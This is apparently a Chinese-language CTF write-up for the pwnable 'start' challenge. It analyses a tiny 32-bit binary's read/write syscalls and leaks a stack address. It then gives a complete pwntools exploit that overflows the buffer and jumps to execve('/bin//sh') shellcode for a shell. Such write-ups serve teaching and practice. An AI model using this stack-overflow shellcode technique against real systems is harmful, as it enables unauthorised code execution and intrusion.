首先查一下程序的保护情况
保护全关!!!
然后看ida逻辑
ida的结果很简洁,只有一段汇编代码,我们再来看看nc情况
现在我们来分析一下汇编代码
mov ecx, esp ; addr
.text:08048089 B2 14 mov dl, 14h ; len
.text:0804808B B3 01 mov bl, 1 ; fd
.text:0804808D B0 04 mov al, 4
.text:0804808F CD 80 int 80h ; LINUX - sys_write
.text:0804808F
.text:08048091 31 DB xor ebx, ebx
.text:08048093 B2 3C mov dl, 3Ch ; '<'
.text:08048095 B0 03 mov al, 3
.text:08048097 CD 80 int 80h ; LINUX -
.text:08048097
.text:08048099 83 C4 14 add esp, 14h
.text:0804809C C3 retn
这里就是用系统调用了read函数和write函数,然后看这个,写入地址都是esp,然后再根据add esp, 14h可以发现偏移是0x14
这里的我是考虑用shellcode打,但是我们得有一个地方写入shellcode,也就是说我们得知道写入shellcode的地址
一开始看这段汇编代码,其实并没有可以泄露栈地址的地方,我们动调看一下
可以发现返回地址下面有存着栈地址,我们可以将它泄露出来
io.recvuntil(b"CTF:") addr=0x8048087 payload=b'a'*0x14+p32(addr) io.send(payload) stack_addr=u32(io.recv(4)) 首先0x8048087是上面08048087 89 E1 mov ecx, esp 的地址,该payload的目的其实就是跳回来再执行write函数,只不过此时的esp已经发生了变化,此时esp指向的内容就是上面标记的栈地址 shellcode=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' payload=b'a'*0x14+p32(stack_addr+0x14)+shellcode io.send(payload) io.interactive() 接着我们再次来到read函数,往栈上写入shellcode,然后继续构造payload,控制程序跳转到shellcode处进行getshell 完整exp: io.recvuntil(b"CTF:") addr=0x8048087 payload=b'a'*0x14+p32(addr) io.send(payload) stack_addr=u32(io.recv(4)) print(hex(stack_addr)) shellcode=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'payload=b'a'*0x14+p32(stack_addr+0x14)+shellcode io.send(payload) io.interactive() 标签:getshell,addr,--,text,pwnable,mov,io,shellcode,payload From: https://www.cnblogs.com/GGbomb/p/18006922